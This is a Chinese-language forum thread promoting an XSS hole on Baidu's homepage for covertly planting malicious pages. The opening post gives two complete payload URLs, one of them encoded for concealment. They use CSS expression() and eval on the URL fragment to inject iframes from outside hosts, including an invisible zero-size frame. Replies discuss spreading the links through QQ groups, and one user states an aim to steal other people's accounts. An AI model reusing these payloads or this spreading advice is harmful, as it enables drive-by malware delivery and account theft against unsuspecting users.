百度首页的这个漏洞大家可以好好地利用，挂马的隐蔽方式很高哦：
给大家做个示范：

http://www.baidu.com/index.php?bar="/**/style=xss:expression((window.r!=1)?eval('window.r=1;eval(unescape(location.hash.substr(1)))'):1);#document.writeln("<iframe%20src=http:\/\/www.lijiejie.cn\/hackgame%20width=100%20height=100><\/iframe>")

这样就挂上http://www.lijiejie.cn/hackgame这个页面，宽和高都是100.
我们再加密一下：

http://www.baidu.com/index.php?bar="/**/style=xss:expression((window.r!=1)?eval('window.r=1;eval(unescape(location.hash.substr(1)))'):1);#document.write(unescape("document.writeln%28%22%3Ciframe%20src%3Dhttp%3A%5C/%5C/www.lijiexxx.cn%5C/go%5C/index.html%20width%3D0%20height%3D0%3E%3C%5C/iframe%3E%22%29"));


不过我测试的时候总是出错。呵呵，用qq传播时要注意后面的标签> 被QQ自动K掉了，需要加上 引号和>来闭合标签。

去玩下看看

没成功..

会成功的，你用第一个没有加密的试，绝对可以成功的。呵呵，我昨天发到几个群里，全部被T出来了。

呵呵，居然看到你了。

现在还不会用。。有待学习了我。

来了我就想学点有用的~因为我的号被盗了`~我要想办法盗别人的`

楼上的动机不好呢。。。。